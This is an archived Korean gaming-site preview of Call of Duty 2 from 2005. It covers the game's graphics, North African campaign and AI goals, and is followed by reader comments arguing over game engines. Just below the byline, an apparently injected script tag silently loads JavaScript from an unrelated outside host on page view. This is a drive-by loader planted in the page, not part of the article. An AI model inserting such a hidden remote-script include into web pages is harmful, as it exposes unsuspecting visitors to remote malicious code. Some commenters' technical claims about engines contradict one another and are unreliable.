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[프리뷰]

[프리뷰] 콜 오브 듀티 2

글쓴이 : betagam 날짜 : 2005-04-07 (목) 05:53 조회 : 19537


<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script>

2차 대전을 소재로 한 밀리터리 FPS의 붐을 제대로 일으켰던 메달 오브 아너의 최신작 퍼시픽 어썰트가 아직까지 국내에 발매되지 못하면서 아쉬움이 남는 요즘, 인피니티 오드가 개발하고 액티비전에서 유통한 콜 오브 듀티가 그 빈틈을 채우고 있다.

아니, 빈틈이라고 말한다면 개발사가 욕할 정도로(-_-;) 콜 오브 듀티는 메달 오브 아너 이상의 게임이라고 말할 수 있다. 그리고 얼마 전에는 항공전과 대규모 전차전이라는 보너스가 포함된 공식 확장팩 유나이티드 오펜시브까지 한글화되어 많은 밀리터리 FPS 팬들을 기쁘게 한 바 있다.

하지만 확장팩을 보며 벌어진 입을 다물기는 아직 이르다. 콜 오브 듀티의 공식 후속작이 그 모습을 드러내기 시작한 것이다! 이에 게임샷에서는 콜 오브 듀티 2에 드리워진 장막을 살짝 들춰보고자 한다.

극한의 그래픽은 과연 어디까지?

총알이 빗발치는 전장이 아름다워 보인다면 이 같은 아이러니가 또 있을까? 하지만 이는 적어도 게임에 있어서는 분명한 사실이다. 새로 추가된 캠페인 중 영국군이 싸우게 될 배경의 하나인 북아프리카의 이국적인 풍경을 보라. 폭발로 인해 여기저기 발생한 연기의 볼륨감이 그대로 손에 잡힐 듯 느껴지며 전차 위에 뽀얗게 앉은 사막의 모래먼지는 손으로 쓸면 바람에 날라가 버릴 것만 같다.

캐릭터는 또 어떤가? 사막의 뜨거운 열기에 살까지 말라버린 듯한 야윈 모습을 보면 그 동안 군복에 가려져 있어서 잘 알 수 없었던 키가 크고 호리호리한 서양인의 체격을 제대로 재현해냈다는 느낌을 받게 된다.

다양한 매핑 기법으로 사물의 질감 및 입체감은 더욱 살아났으며 광원과 그림자 효과를 넣어 철저하게 사실성을 추구했다. 기존 엔진을 손보는 것으로 과연 어느 정도까지 화면의 질이 향상될지는 알 수 없지만 말이다.

그리고 하프라이프 2에서 우리를 감탄하게 만들었던 물리엔진의 효용이 콜 오브 듀티 2에서는 어느 정도 적용될 지 아직 미지수이지만, 아쉬운 대로 전신주의 전선이나 야자수들이 바람에 흔들린다거나 하는 등의 요소가 공개되어 완성판에 대한 기대감을 더한다.

아프리카 전선, 그 깜짝쇼의 연출

원작 콜 오브 듀티는 많은 점에서 기존의 밀리터리 FPS와는 독특한 길을 걸었다. 가장 재미있고 신선했던 점은 여러 국가의 입장에서 플레이 가능했다는 것. 게이머는 미군, 영국군 특수부대, 소련의 인민군으로 필요할 때마다 변신(?)해서 연합군 공공의 적인 독일군을 섬멸하게 된다.

이것은 계속되는 총질(?)에 지루해질 수 있는 플레이에 활력을 불어넣어 주었고, 그래서(라고 믿고 싶다 ^^) 정말 FPS 역사에 길이 남을 명장면(스탈린그라드 전투, 베를린 전투)들을 낳았던 것이다. 확장팩인 유나이티드 오펜시브에서도 역시 멤피스 벨이나 쿠르스크 전차전이 가능했다.

콜 오브 듀티 2는 이렇게 게이머들이 원작을 즐기면서 느꼈던 감동을 극대화시킬 수 있는 최적의 장소를 준비했는데, 그것이 방금 전 그래픽 부분에서도 언급했던 북아프리카 전선이다. 특히 영국군이 계속되는 패퇴 끝에 마지노선으로 내걸었던 몽고메리 카드가 독일 최강이라고 일컬어졌던 롬멜의 아프리카 군단(Afrika Korps)을 패퇴시키는데 성공했던 엘 알라메인 전투를 비롯해 토부룩 등 전사에 조금이라도 관심이 있는 게이머들이라면 꼭 한번쯤 게임에서 만나봤으면 하고 꿈꿔왔던 배경이 등장한다. 아마 사막 미션에서 게이머는 영국 최정예 SAS역으로 게임에 등장하지 않을까?

또 약방의 감초인 미군은 크리스마스의 독일군 최후의 공세였던 벌지 전투 및 이탈리아 전선에서 등장할 예정이다. 소련군으로 플레이할 때에는 스탈린그라드, 쿠르스크, 모스크바, 베를린 공방전 등의 미션이 준비되어 있다.

구관이 명관

음? 그런데… 이는 대부분 원작에도 등장했던 전투가 아닌가? 약간 실망했다고? 하지만 개발사 인피니티 오드의 실력을 믿어보자. 이것은 단순한 재탕이 아니라 대규모 리메이크라고 해도 좋을 정도로 다 뜯어고친다는 정보가 입수되어 있으니까 말이다.

스탈린그라드만 예를 들어 보더라도 도시 전체의 맵을 대폭 보강했다고 한다. 건물이나 폐허의 세부 디테일을 전부 손댄 것은 물론, 뒤에도 다시 얘기하겠지만 스크립트 방식의 플레이를 최대한 지양하고 순수 AI로만 게임이 진행되도록 작업하고 있기 때문에 전작과 똑 같은 경험을 할 것이라는 편견은 버리는 게 좋겠다.

비단 러시아 미션에서만 나올 얘기는 아니지만 이번 콜 오브 듀티 2에는 날씨의 변화도 추가되어 이것이 플레이의 중요한 변수로 작용하게 된다고 한다. 아마도 날씨 때문에 시계가 방해 받아 전술의 임기응변이 필요하다는 정도가 아닐까 하고 생각해 본다. 이런 것들만 추가되어도 사실 대단한 것이 아닌가! 그때 그때 상황에 따라 게임 플레이가 달라진다니 말이다.

또 하나의 깜짝 정보는, 영국군 미션에도 포함될 테지만 이미 메달 오브 아너에서 선보여 조금은 식상해진 노르망디 상륙작전의 ‘오마하 해변의 참극’ 이벤트가 콜 오브 듀티 2에도 들어가게 된다는 점이다. 개발사에서는 더 이상 어떤 정보도 공개하지 않았지만 ‘어디 한번 두고 보라지’라는 심정으로 기다려 보자.

진정한 인공지능 구현, 제발 이제는 보여다오

콜 오브 듀티 2의 개발팀이 가장 많이 신경 쓰는 점은 스쿼드 전투의 핵심인 인공지능(AI)의 보다 완벽한 구현이다. 1편의 플레이는 역시나 스크립트에 많이 의존했으며, 게임의 진행도 ‘개방’된 것이 아니라 매우 ‘선형적’이었다. 이러한 방식의 최대 단점은 역시 한번 즐기고 나면 다시 플레이 하기가 꺼려진다는 점이었다. 때문에 콜 오브 듀티 2의 게임 플레이의 목표는 ‘순수한’ AI를 통해 이루어지는 게임진행이다.

이를 ‘정황에 의해 조정되는 전장’이라는 표현을 사용하는데, 쉽게 설명하면 이렇다. 한 미션 안에 달성해야 할 몇 개의 목표들이 있는데, 이제까지는 첫 번째 목표를 반드시 수행해야만 다음 목표가 활성화 되게 되었으나, 이제는 여러 목표 중 어느 것을 선택하든 게임이 무리 없이 진행되도록 한다는 것이다. 또한 목표를 수행하는 방법도 게임의 환경이 어떻게 변화하느냐에 따라 유동적으로 변하도록 만든다는 것이다.

이러한 유동적인 변화는 자연스레 짜여진 스크립트를 멀리 하게(?) 만드는 것인데, 적의 인공지능이 항상 그 자리에서 특정한 행동을 하거나 게이머가 어떤 위치에 이동해야 이벤트가 발생했다면, 콜 오브 듀티 2의 완성된 인공지능과의 플레이를 상상해 보면 매우 이상적인 방향으로 변할 것이라는 걸 알게 된다.

이 경우에는 적의 움직임에 상응하는 움직임을 보이도?게이머 역시도 적들의 인공지능 플레이에 무의식적 내지는 암묵적으로(?) 상호작용을 해주어야 한다는 것을 의미한다. 쉬운 일은 아니다. 개발사의 이러한 내용구현의 결과에 대해 역시 두 눈을 부릅뜨고 지켜볼 생각이다. -_-

또 한 가지, 서유럽 전선의 미군, 북아프리카 전선과 노르망디의 영국군, 러시아군의 세 개의 캠페인으로 크게 나뉠 콜 오브 듀티 2의 진행은 순서대로 하는 것이 아니라 어느 정도 원하는 미션을 선택할 수 있도록 바꾸고 있다고 한다. 앞서 얘기했던 미션 내에서의 인공지능 플레이와 미션 선택 시스템의 조합으로 게이머들은 보다 나은 자유도를 느낄 수 있게 될 것이다. 물론 제대로 완성이 되었을 때의 이야기겠지만.

밀리터리 FPS의 또 다른 획을 그어라!

영국군의 새로운 지역이 추가됨에 따라 희귀한 영국군의 장비도 듬뿍 써볼 수 있게 되었다. 영국군 크루세이더 전차의 실제 성능을 확인해 보자. ^^ 이 뿐 아니라 독일군의 Gewehr 저격 라이플, 북아프리카 전선에서 쉽게 볼 수 있었던 II호 전차나 88mm 포들이 등장하며 랜드-리스 조약에 의해 러시아군도 미군의 지프를 몰 수 있을 것이다. 또 각 미션의 역사적 사실의 고증에도 매우 충실하여, 군사 전문가의 감수를 받는 것은 물론 미션 내에 재미있는 역사적 사실을 잊지 않고 넣어주는 등의 노력도 기울이고 있다.

최근 발매된 기어박스 소프트웨어의 ‘브라더스 인 암즈’가 호평 받고 있다. 기존의 ‘쏘고 부수기’의 단순 플레이를 지양하고 ‘철저한 팀웍의 스쿼드 플레이’를 내세워 신선함을 준 것이 주효했을 것이다. 그로부터 수개월 후, 올 가을 공개를 목표로 개발되고 있는 콜 오브 듀티 2가 어떠한 모습으로 우리 앞에 등장할 것인지, 올 여름은 유난히 덥고 짜증날 지 모르겠다.

게임샷 : 김용식 / dvader29@hotmail.com

하늘의경계 (203.♡.126.10) 2005-04-08 (금) 13:06
와하하하! 기대만빵!
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자드 (220.♡.30.72) 2005-04-08 (금) 14:01
사양높으면 안함 ㅋ
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=★Red Army★= (211.♡.0.211) 2005-04-08 (금) 14:09
뭐 파크라이가 등장하고 나서 최적의 그래픽이 등장하기는 한데 인피니트가 과연 최적화를 잘할까 의심이 가는군요. 하지만 한번 믿어보죠. ^^
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파워유져 (211.♡.145.146) 2005-04-08 (금) 14:30
콜옵2도 퀘이크3엔진 또 개량해서 만든다죠?
퀘이크3엔진 언제까지 울궈먹을지..
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=★Red Army★= (211.♡.0.211) 2005-04-08 (금) 14:49
이번에는 퀘이크 엔진이 아니라고 하더군요.
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betagam1 (210.♡.31.7) 2005-04-08 (금) 15:32
퀘이크3엔진 아닙니다. 저그래픽이 퀘이크3엔진으로 보이십니까?
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betagam1 (210.♡.31.7) 2005-04-08 (금) 15:33
자체개발엔진이라고 합니다.
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betagam1 (210.♡.31.7) 2005-04-08 (금) 15:35
Call of Duty 2's new engine and A.I. technology set the stage for authentic squad combat and astonishing action. Concealment can be key as battlefield smoke or even deployed smoke grenades cloud visibility. Weather effects such as the dusty sandstorms of North Africa and whiteout blizzard conditions of Russia, for example, will keep soldiers glued to their bunkers. The team has also employed a state-of-the-art Battle Chatter System that brings the action to life as squad-mates bark out context-sensitive updates in real-time to players through an advanced A.I. system.

새로운 자체개발엔진입니다.

둠3엔진이라고 추측하시는 분들이 계시는데 둠3엔진으로 저런 그래픽 구현불가능이고 둠3엔진보다 콜옵2엔진이 더 뛰어납니다.
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관광수월해 (61.♡.214.150) 2005-04-08 (금) 16:54
사양이 줸장할 맞지만 안으면 되는데...
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아무로레이 (218.♡.213.147) 2005-04-08 (금) 17:23
오우 대단해...
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White Hawk Will (210.♡.37.143) 2005-04-08 (금) 17:31
둠3 엔진보다 콜오브듀티2 엔진이 뛰어나다는 말씀은 어떤 부분에서 뛰어나다고 하시는 건가요 ? 그래픽 인가요 ? 엔진의 유연성인가요 ? 아니면 ?

제가 봤을때 그래픽은 둠3의 질감묘사가 더 사실적인 것 같은데.. 아닌가요 ?
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betagam1 (61.♡.212.146) 2005-04-08 (금) 18:12
콜오브듀티2기사가 실린 지난달 해외 잡지인 PC Gamer를 보면 콜오브듀티2의 엔진에 대해서 설명을 하고 있습니다.

엔진의 유연성까지야 모르겠지만 그래픽에선 노멀맵, 범프맵, 스페큘러맵, 디퓨즈맵 이렇게 4가지의 멀티 텍스처링을 사용한 매핑을 사용하며 그림자도 실시간 그림자를 소프트 쉐도우로 사용하며 자체 그림자인 셀프쉐도우도 만들어집니다.
AI시스템도 매우 현실적으로 만들었고 사운드면에서도 7.1채널 서라운드를 지원합니다.
그래픽적인면만봐도 엔진성능이 둠3엔진에게 꿀리지 않는다는걸 알수있습니다.
실제 게임그래픽에서도 큰 스크린샷을 보셨으면 아실테지만 텍스처 해상도나 모델의 폴리곤양도 더많이 사용되었고 섬세한 디테일을 보여줍니다.

질감묘사라는것이 둠3의 어느것을 보고 말씀하시는건지는 모르겠습니다만. 둠3엔진은 현재시점에서 전혀 뛰어난엔진이 아닙니다. 파크라이엔진이나 리딕엔진보다도 성능상 뒤떨어지는것으로 평가되고 있는 둠3엔진이 콜오브듀티2엔진보다 좋을리도 없죠.

제작사인 인피니티워드에서는 콜오브듀티2를 위해서 둠3엔진의 라이센스를 고려했다가 둠3엔진이 생각보다 뛰어나지않고 콜오브듀티2의 개발에도 적절치않아서 자체개발엔진을 제작했다고합니다.

님께서 말씀하시는 둠3의 질감이란건 텍스처와 관련이 있는것으로 생각되는군요. 사실상 엔진과는 크게 관련이 없습니다. 어짜피 둠3과 콜오브듀티2의 텍스처 매핑은 위에서 말했던대로 4가지의 혼합텍스처방식으로 동일하고 기반이 되는 라이팅도 Per-Pixel 픽셀 단위의 라이팅으로서 동일한것입니다.
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betagam1 (61.♡.212.146) 2005-04-08 (금) 18:17
그리고 둠3엔진보다 콜오브듀티2엔진이 더 뛰어나다는건 둠3엔진이 오픈GL 1.x에 기반한것에 비해 콜오브듀티2엔진은 D3D9c에 기반했다는것만으로도 증명이 되는것입니다.
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김상현 (220.♡.200.25) 2005-04-08 (금) 18:49
betagam1님의 말씀이 대부분 맞습니다.
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김상현 (220.♡.200.25) 2005-04-08 (금) 18:50
제가 볼때도 큰 스크린샷으로 봤을떄 콜 오브 듀티 2 의 그래픽이 전반적으로 둠 3 보다 나으며 PC Gamer지에서 저렇게 나와있었다면 엔진도 둠 3 엔진보다 나은것 같군요.
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GUNDAM (168.♡.134.49) 2005-04-08 (금) 19:21
기대되네요~
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허가진 (211.♡.5.114) 2005-04-08 (금) 20:05
화이트 님 확실히 더 뛰어나다는걸 볼수 있는데요

둠3엔진은 이 시대에는 별로 뛰어나지 못한거 같더군요

둠3 라는 게임도 몬스터 의 퀼리티는 지대 지만

다른건 영 아니라는걸 눈으로도 보잔아요
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뻐꾹이 (218.♡.202.15) 2005-04-08 (금) 20:56
서양인의 키가 크고 호리호리한 체격은 벗겨봐야(?!?!)알터인데..
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ONLY.ON.XBOX (211.♡.199.125) 2005-04-08 (금) 22:05
초 기대작... 차세대 콘솔이라는데.. 과연..

전작의 감동을 이어갈지..
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돌았나토끼맨 (218.♡.73.176) 2005-04-08 (금) 22:13
잼나것구마이
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White Hawk Will (210.♡.37.246) 2005-04-08 (금) 23:34
그렇군요.. 저는 둠3 엔진이 가장 뛰어난 걸로 착각 하고 있었다는 ^^; 물론 최근에 얼리얼 엔진 3.0 이라던가.. 보면서 둠3도 이제 갔구나.. 하는 생각을 하고 있었는데 말이죠.. 다른 거였군요.. 확실히..

그런데;; 저는 아무리 봐도 ;  둠3 그래픽이 더 뛰어난 것 같은데 ;; (눈이 돌았나 ; )
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아야나미 레이 (61.♡.141.78) 2005-04-08 (금) 23:52
아닙니다 ^^;;

둠3 = CG수준

언리얼엔진 = 피규어수준

하프2 = 둠3와 언렬의 중간수준?

으로 보이내요 제눈으론 ㅋㅋ;;
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관광수월해 (61.♡.214.150) 2005-04-09 (토) 01:51
betagam1 님말이 거의다 맞지만 한가지 틀린게 있으셔서...
리딕엔진이 둠3엔진보다 좋다고 말씀하셨는데.. 리딕엔진이 둠3엔진입니다..
둠3엔진가지고 리딕을 만든거죠 ㅡ.ㅡ;
그럼 사람들이 멋하러 콜옵가지고 퀘이크3엔진이라고 하나요?
콜옵엔진이라고 하지 ㅡ.ㅡ;;;
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fps09 (211.♡.221.233) 2005-04-09 (토) 03:30
관광수월해님 잘못알고계십니다.
리딕엔진은 둠3엔진이 아니며 스타브리즈사의 스타브리즈엔진입니다.
리딕의 엔진은 그래픽 렌더링 성능, 엔진 최적화, 기타 모든면에서 둠3엔진보다 우세합니다.
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fps09 (211.♡.221.233) 2005-04-09 (토) 03:53
단순히 둠3과 리딕의 그래픽을 비교하는것만으로도 리딕의 그래픽이 더 좋음을 알수있습니다. 정말로 눈이나쁘지않다면 둠3과 리딕을 비교해서 둠3이 좋다는 사람은 없을겁니다. 둠3의 몬스터 질감이나 디자인만큼은 인정해줄만하지만 다른건 봐줄만한게 하나도없죠. 1:1로 비교해서 둠3의 인물과 리딕의 인물을 비교해보시면 그 차이가 아주 극명하게 나타납니다. 배경에서도 리딕이 훨씬 낫고 둠3은 몬스터가 그나마 봐줄만하지만 리딕의 퀄리티에는 못미칩니다.

자 그럼 스크린샷으로 둠3과 리딕을 비교해볼까요?

둠3 스크린샷

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자 그럼 여기부터 리딕 스크린샷


 


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<a href=http://image.com.com/gamespot/images/2004/reviews/921671_20041210_screen009.jpg target=_blank>http://image.com.com/gamespot/images/2004/reviews/921671_20041210_screen009.jpg</a>

<a href=http://image.com.com/gamespot/images/2004/reviews/921671_20041210_screen019.jpg target=_blank>http://image.com.com/gamespot/images/2004/reviews/921671_20041210_screen019.jpg</a>
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aaaa (211.♡.164.149) 2005-04-09 (토) 07:43
전둠삼이 리딕보다 더글픽좋아보이는데 .. 리딕은먼가 부드럽지않고 먼가 딱딱한느낌?
사람같지않고 마네킹? 그런느낌이 ..
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부두™ (211.♡.207.228) 2005-04-09 (토) 15:42
둠2, 리딕 어떤것이 좋은 그래픽이고 나쁜 그래픽이라고 할수 없습니다 저도 개인적으로는 둠3 그래픽이 부드럽군요. 그리고 둠3 1.2 패치 이후로는 최적화가 잘되어 9800 pro 에서도 하이 옵션, 1280 * 1024로 거침 없이 돌아갑니다.
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부두™ (211.♡.207.228) 2005-04-09 (토) 15:43
둠2라고 써놨군요 ㅡ,.ㅡ;
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가시 (211.♡.65.97) 2005-04-09 (토) 20:32
아..MX 안되면 안돼ㅠㅠ MX 지원하기를 바라며ㅠㅠ
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팔계 (221.♡.121.167) 2005-04-09 (토) 23:18
이번은 왠지...MX 지원 안할꺼 같은데....;
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sexmachine (218.♡.208.138) 2005-04-10 (일) 22:43
희안하네..스샷만으론 별로 좋아보이진 않는데..
둠3는 맵디자인이나 케릭터디자인. 그림자활용과 분위기로 할건 다했다고 보여짐;;
둠3가 저렇게 밝고 단순한 배경이 어울리겠소?
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사장님 (220.♡.248.92) 2005-04-11 (월) 00:30
요고요고.. 분명히 가을에 출시하는거 맞지?.. 늦가을해서 11월 이러면 OTL인데..

암튼 스샷보니 확실히 그래픽은 좋아졌는데.. 이런 울집컴에 압박이 가해지겠네 ㅡㅜ;

그나저나 퀘이크엔진에서 탈피했으니 콘솔 명령어도 바뀌고.. 찾기도 힘들어지겠다 ㅜㅜ
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사장님 (220.♡.248.92) 2005-04-11 (월) 00:32
초반 스샷 몇개가 BIA처럼 뽀샤시가 있는데.. 이럼 안되는데..
BIA처럼 스쿼드 지휘방식이면 또 안되는데 0_0
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피닉스 (211.♡.56.83) 2005-04-11 (월) 00:54
신납니다.^^
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김민수 (210.♡.12.82) 2005-04-13 (수) 00:36
우와...............정말 대단하네....그래픽의 진화는 어디까지 인가....친구네 집에서 브라더스 인 암즈 하는 것 봤는데,너무 사실적이라 게임성이 많이 떨어지는 것 같던데....콜옵2는 기대 만빵!!~~~...
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슈팅스타 (211.♡.57.83) 2005-04-13 (수) 22:52
우와 콜옵 2 다~~!!!! 이건 사양이 안돼면 업글해서라도 꼭 해야 될 게임이에요!!! 근데 언제쯤 나오나요?
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방랑객 (221.♡.160.87) 2005-04-14 (목) 22:32
지르라.. 질러야 하느니라.. 지름이 없으면 무슨 재미로..
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오바 (210.♡.235.178) 2005-04-19 (화) 14:07
흠.. 엔진이라는거에 대해서 좀 오해가 있는 것 같군요.
유연성이라는 걸 가지고 보면 퀘3 같은 경우 정말 훌륭한 엔진이라고 할 수 있습니다만,
실제로 엔진이 고스라니 그대로 쓰이는게 아닙니다 -_- 엄청 많이 수정합니다..;;
막말로 퀘3 엔진으로 얼마나 훌륭한 그래픽.. 당시대의 최고의 그래픽 게임들이 탄생했는지 생각해 보십쇼....

마지막으로 둠3 엔진과 여타 요근래 게임들을 비교들 많이 하시는데, 그건 잘못된 겁니다.
비교는 둠3와 요근래의 '게임'을 해야죠.
엔진은 절대 훌륭한 그래픽을 보여주는게 아니라 훌륭한 그래픽을 보여줄수 있는 함수를
제공할 따름입니다. 엔진의 처리 능력은 엔진간의 비교를 할 수 있겠지만, 과연 외관상으로 비교가 쉽게 될런지 의문이군요. 엔진의 비교는 무의미합니다. 실제로 저희가 보이는걸
보고 판단하고, 이 게임이 저 게임보다 그래픽이 좋다 라는 식으로 비교를 하는게 적당한것 같네요. 그래서 말인데 개인적으론 둠3가 굉장하다고 생각합니다. 그 분위기 창조는
글쎄요. 과연 어떤 개발업체가 넘어 설 수 있을런지 의문이 들정도죠....
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지름신의강림 (221.♡.33.208) 2005-05-03 (화) 07:30
배타겜엔 엔진 따지면서 좋다 나쁘다 따지는 분들이 꽤나 많더군요..-_- 어쨋든 나와봐야 알 일..
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싸이렌 (221.♡.169.161) 2005-06-14 (화) 20:02
둠3 로 게임만들면 게임이 액션위주로 빠르게 전개되는 경향이 좀 있었습니다. 너무 빨라서요. 정신없이 돌아스고 저격하고 사라지는 사람들 자체엔진으로 부드럽고 여유?있게 움직여 줬으면 갑자기 냉큼 나타나서 쏴솩
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싸이렌 (221.♡.169.161) 2005-06-14 (화) 20:04
퀘이크 엔진으로 레인보우 식스, 언리얼 엔진등으로 개발된 게임들은 부적합 하다는
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asdfawef (220.♡.75.251) 2005-07-28 (목) 20:47
이번에도 비행기 탈려나? 유나이티드 오펜시브처럼
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M.H.P.A (211.♡.213.159) 2005-08-05 (금) 19:26
ㅎㅎㅎㅎ 기대  이야!!
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suny7760 (118.♡.175.166) 2013-08-28 (수) 17:19
감동
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